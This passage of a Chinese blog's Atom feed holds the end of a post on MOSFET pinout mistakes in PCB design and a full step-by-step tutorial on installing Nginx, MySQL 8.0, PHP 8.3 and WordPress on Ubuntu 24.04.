经验总结</h2><p>在实际的硬件工程中，对于常见的晶体管封装，业界并没有绝对统一的引脚标准。即使是外观完全相同的SOT-23封装，不同型号或不同制造商的MOSFET，其1、2、3号引脚对应的G、D、S极也可能大相径庭。</p><p>为避免未来在焊接时出现需要割线飞线，甚至重新打板的低级错误，我对自己做如下要求：</p><ul><li><p>永远不要凭借经验假设引脚排列。在分配封装前，必须打开该具体型号元件的数据手册，严格核对物理引脚序号与内部逻辑电极的对应关系。</p></li><li><p>在原理图设计中，尽量使用带有明确引脚顺序后缀的符号，并确保它与物理封装的焊盘标号一一对应，或者按照元件建立对应的符号和封装。</p></li><li><p>布局完成后，除了常规的电气规则检查，对照各个核心部件的数据手册进行二次检查。</p></li><li><p>条件允许时，贴板上电先用限流电源点测，把电流上限设在安全范围内，靠它兜住接错位这类低级错误。</p></li></ul><p><strong>最后祝各位设计顺利。</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/pcb-design-consideration-different-mosfet-packages/</id>
    <link href="https://www.catwhiteangel.com/pcb-design-consideration-different-mosfet-packages/"/>
    <published>2026-04-06T08:50:40.000Z</published>
    <summary>记录一次因 MOSFET 封装引脚排列不一致（G-S-D 误用为 D-G-S）导致体二极管正偏短路的排查过程：限流电源如何兜住这类错误、用万用表二极管档反推源漏极，以及避免封装引脚错配的核对习惯。</summary>
    <title>PCB设计注意事项——MOSFET的不同封装</title>
    <updated>2026-04-06T08:50:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Web Services" scheme="https://www.catwhiteangel.com/categories/Web-Services/"/>
    <category term="WordPress" scheme="https://www.catwhiteangel.com/tags/WordPress/"/>
    <category term="Nginx" scheme="https://www.catwhiteangel.com/tags/Nginx/"/>
    <category term="Ubuntu" scheme="https://www.catwhiteangel.com/tags/Ubuntu/"/>
    <category term="LNMP" scheme="https://www.catwhiteangel.com/tags/LNMP/"/>
    <content>
      <![CDATA[<div class="note info flat"><p>作者声明：在本文发布时间，本人完整测试了以下所有指令均可正常使用，所有服务能够成功部署。但软件更新迭代速度较快，如软件配置与本文存在差异，以其官方手册为准。</p></div><h1>在Ubuntu24.04上部署LNMP并安装WordPress</h1><p>LNMP系统架构：</p><ul><li>Linux：操作系统————Ubuntu24.04</li><li>Nginx：Web服务器————Nginx1.24.0</li><li>MySQL：数据库————MySQL8.0.45</li><li>PHP：后端运行环境————PHP8.3</li></ul><h2 id="1-安装前的准备">1 安装前的准备</h2><p>使用root用户登录服务器，如果没有root权限，需要在命令前加上sudo</p><p>1 更新软件源</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt update</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/1aptupdate.png" width="80%"></figure><p>2 更新软件包并应用安全更新</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt upgrade</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/2aptupgrade.png" width="80%"></figure><p><strong>注意：</strong></p><p><strong>时再次执行apt update我们可能发现还有软件包可以升级</strong></p><p><strong>但是执行apt upgrade或apt dist-upgrade会提示这些软件包会被保持原版本</strong></p><p><strong>此时我们可以执行apt list --upgradable列出这些软件包并执行apt install 软件包名来将这些软件包强制更新至最新</strong></p><h2 id="2-安装PHP">2 安装PHP</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install php-fpm php-mysql php-gd php-curl php-xml php-mbstring php-zip php-intl php-imagick -y</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/3installphp.png" width="80%"></figure><h2 id="3-安装并配置NGINX">3 安装并配置NGINX</h2><p>1 安装NGINX</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install nginx -y</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/4instalnginx.png" width="80%"></figure><p>2 通过浏览器访问服务器外网ip显示nginx界面</p><p>注意：阿里云等服务器厂商需要在安全组中放行入方向的80端口</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/5nginxpage.png" width="80%"></figure><p>3 新建站点配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/nginx/sites-available/default /etc/nginx/sites-available/example.com</span><br></pre></td></tr></table></figure><p>注意：此处example.com可以是准备使用的域名或者网站的名字，任意皆可</p><p>4 删除默认配置文件的软链</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf /etc/nginx/sites-enabled/default</span><br></pre></td></tr></table></figure><p>5 创建新配置文件的软链使其生效</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ln</span> -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/example.com</span><br></pre></td></tr></table></figure><p>6 配置example.com配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/nginx/sites-available/example.com</span><br></pre></td></tr></table></figure><p>按insert键开始编辑，按esc键结束输入，输入:wq并回车保存并退出</p><p>修改网站根目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root /var/www/html; -&gt; root /var/www/example.com;</span><br></pre></td></tr></table></figure><p>修改网站名称</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">server_name _; -&gt; server_name example.com;</span><br></pre></td></tr></table></figure><p>使nginx支持php</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">index index.html index.htm index.nginx-debian.html; -&gt; index index.php index.html index.htm index.nginx-debian.html;</span><br><span class="line"></span><br><span class="line">#location ~ \.php$ &#123;</span><br><span class="line">#          include snippets/fastcgi-php.conf;</span><br><span class="line">#</span><br><span class="line">#          # With php-fpm (or other unix sockets):</span><br><span class="line">#          fastcgi_pass unix:/run/php/php7.4-fpm.sock;</span><br><span class="line">#          # With php-cgi (or other tcp sockets):</span><br><span class="line">#          fastcgi_pass 127.0.0.1:9000;</span><br><span class="line">#&#125;</span><br><span class="line"></span><br><span class="line">-&gt;</span><br><span class="line"></span><br><span class="line">location ~ \.php$ &#123;</span><br><span class="line">          include snippets/fastcgi-php.conf;</span><br><span class="line">#</span><br><span class="line">#          # With php-fpm (or other unix sockets):</span><br><span class="line">           fastcgi_pass unix:/run/php/php8.3-fpm.sock;</span><br><span class="line">#          # With php-cgi (or other tcp sockets):</span><br><span class="line">#          fastcgi_pass 127.0.0.1:9000;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意：此处的fastcgi_pass unix:/run/php/php7.4-fpm.sock;修改成fastcgi_pass unix:/run/php/php8.3-fpm.sock;</strong></p><p>需要与我们安装的php版本相符，通过<code>ls /run/php</code>查看</p><p>7 刷新nginx配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx -s reload</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/6reloadnginx.png" width="80%"></figure><p>8 测试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /var/www/example.com</span><br><span class="line"><span class="built_in">tee</span> /var/www/example.com/index.php &lt;&lt;&lt; <span class="string">&#x27;&lt;?php phpinfo();?&gt;&#x27;</span></span><br></pre></td></tr></table></figure><p>刷新网页出现如下页面说明php生效</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/7phpinfo.png" width="80%"></figure><p><strong>注意：测试完成必须删除index.php</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> /var/www/example.com/index.php</span><br></pre></td></tr></table></figure><h2 id="4-安装并配置mysql">4 安装并配置mysql</h2><p>1 安装mysql</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install mysql-server -y</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/8installmysql.png" width="80%"></figure><p>2 登录mysql</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql</span><br></pre></td></tr></table></figure><p>mysql的root用户默认通过auth_socket登录，此时不需要输入密码或任意密码都可以正常登入mysql数据库，这是因为auth_socket插件利用了Linux的socket机制来验证用户，依赖于当前用户已经获得了足够的权限</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">user</span>, host, plugin <span class="keyword">FROM</span> mysql.user <span class="keyword">WHERE</span> <span class="keyword">user</span><span class="operator">=</span><span class="string">&#x27;root&#x27;</span>;</span><br></pre></td></tr></table></figure><p>执行以上sql语句验证</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/9authsocket.png" width="80%"></figure><p>如果我们想使用密码登录，可以执行以下sql语句</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ALTER</span> <span class="keyword">USER</span> <span class="string">&#x27;root&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> IDENTIFIED <span class="keyword">WITH</span> caching_sha2_password <span class="keyword">BY</span> <span class="string">&#x27;&lt;your_strong_password&gt;&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>注意：请将&lt;your_strong_password&gt;替换为强密码</strong></p><p>输入<code>exit;</code>退出</p><p>此时可以使用<code>mysql -uroot -p</code>命令，输入密码登录</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/10passwordlogin.png" width="80%"></figure><p>3 进行安全性配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql_secure_installation</span><br></pre></td></tr></table></figure><p>输入mysql的root用户密码（如果之前设置了密码）</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/10passwordlogin.png" width="80%"></figure><p>是否开启密码检查组件（检查密码的强度）</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/11mysqlsecure.png" width="80%"></figure><p>输入y启用</p><p>密码验证策略</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/12passwordvalidation.png" width="80%"></figure><p>输入0代表密码最小长度必须大于等于8个字符</p><p>输入1代表密码最小长度必须大于等于8个字符并且是数字，字母，特殊字符混合的</p><p>输入2代表密码最小长度必须大于等于8个字符并且是数字，字母，特殊字符混合的，密码不能包含在弱密码字典中</p><p>此处我们输入2</p><p>是否修改mysql的root用户密码（如果使用auth_socket不会出现此项）</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/13changepassword.png" width="80%"></figure><p>输入n不修改</p><p>是否删除匿名用户</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/14anonymous.png" width="80%"></figure><p>输入y删除</p><p>是否禁止root用户远程登录</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/15remotelylogin.png" width="80%"></figure><p>输入y禁止</p><p>是否删除测试数据库</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/16testdatabase.png" width="80%"></figure><p>输入y删除</p><p>最后输入y重新载入配置文件</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/17reloadprivilege.png" width="80%"></figure><p>4、为wordpress新建数据库</p><p>登录数据库</p><p>创建wordpress数据库</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">create</span> database wordpress;</span><br></pre></td></tr></table></figure><p>新建wordpress用户密码</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">create</span> <span class="keyword">user</span> <span class="string">&#x27;wordpress&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> identified <span class="keyword">by</span> <span class="string">&#x27;&lt;your_strong_password&gt;&#x27;</span>;</span><br></pre></td></tr></table></figure><p>赋予用户对数据库wordpress的全部权限。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">grant</span> <span class="keyword">all</span> privileges <span class="keyword">on</span> wordpress.<span class="operator">*</span> <span class="keyword">to</span> <span class="string">&#x27;wordpress&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span>;</span><br></pre></td></tr></table></figure><p>刷新权限使其生效</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flush privileges;</span><br></pre></td></tr></table></figure><p>退出</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exit;</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/18createdatabase.png" width="80%"></figure><h2 id="5-安装wordpress">5 安装wordpress</h2><p>1 下载wordpress文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -L -A <span class="string">&quot;Mozilla/5.0&quot;</span> -o latest-zh_CN.zip https://cn.wordpress.org/latest-zh_CN.zip</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/19downloadwordpress.png" width="80%"></figure><p>2 解压缩</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt install unzip</span><br><span class="line">unzip latest-zh_CN.zip</span><br></pre></td></tr></table></figure><p>3 将wordpress文件复制到网站根目录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> -a wordpress/. /var/www/example.com/</span><br></pre></td></tr></table></figure><p>4 更改网站根目录的用户权限</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R www-data:www-data /var/www/example.com</span><br><span class="line"><span class="built_in">chmod</span> -R 755 /var/www/example.com</span><br></pre></td></tr></table></figure><p>5 刷新网页进入wordpress安装界面（如果刷新后报错http500可能是php-mysql没有安装）</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/20wordpressinstall.png" width="80%"></figure><p>点击现在开始</p><p>填写数据库名，数据库用户名和密码，点击提交</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/21databasesetting.png" width="80%"></figure><p>填写信息并点击安装wordpress</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/22infosetting.png" width="80%"></figure><p>安装成功后即可登录仪表盘对网站进行编辑，输入服务器公网ip可以查看网站主页</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/23instalcomplete.png" width="80%"></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/24wordpressfrontpage.png" width="80%"></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/25managepage.png" width="80%"></figure><h2 id="6-安装后的配置">6 安装后的配置</h2><p>安装完wordpress后很多人都希望更换一个漂亮的主题，但是在我们上传主题的时候很有可能会出现以下报错，这是因为请求文件太大导致的nginx报错。</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/26filetoolarge.png" width="80%"></figure><p>1 修改nginx配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/nginx/nginx.conf</span><br></pre></td></tr></table></figure><p>在http中添加一行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">client_max_body_size 16m;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx -s reload</span><br></pre></td></tr></table></figure><p>修改php配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/php/8.3/fpm/php.ini</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">post_max_size = 8M -&gt; post_max_size = 16M</span><br><span class="line">upload_max_filesize = 2M -&gt; upload_max_filesize = 16M</span><br></pre></td></tr></table></figure><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/27phpconf.png" width="80%"></figure><p>在vim中按下/即可进入查找模式，输入要查找的字符串并按下回车。 vim会跳转到第一个匹配。按下n查找下一个</p><p>重启php-fpm</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart php8.3-fpm.service</span><br></pre></td></tr></table></figure><p>再次上传主题文件即可上传成功</p><figure>    <img src="https://img.gulugulublog.com/posts/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/28themeupload.png" width="80%"></figure><h2 id="7-总结">7 总结</h2><p>至此，我们完成了：</p><ul><li>LNMP环境搭建</li><li>数据库配置</li><li>WordPress部署</li><li>文件上传限制优化</li></ul><p>现在我们已经拥有一个完整可用的WordPress站点。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/</id>
    <link href="https://www.catwhiteangel.com/deploying-lnmp-and-installing-wordpress-on-ubuntu-2204/"/>
    <published>2026-03-29T10:28:34.000Z</published>
    <summary>在 Ubuntu 24.04 上部署 LNMP（Nginx + MySQL 8.0 + PHP 8.3）并安装 WordPress 的完整步骤：php-fpm 套接字配置、mysql_secure_installation 各选项详解、数据库创建，以及上传主题时文件大小限制报错的解决方法。</summary>
    <title>在Ubuntu24.04上部署LNMP并安装WordPress</title>
    <updated>2026-03-29T10:28:34.000Z</updated>
  </entry>
</feed>
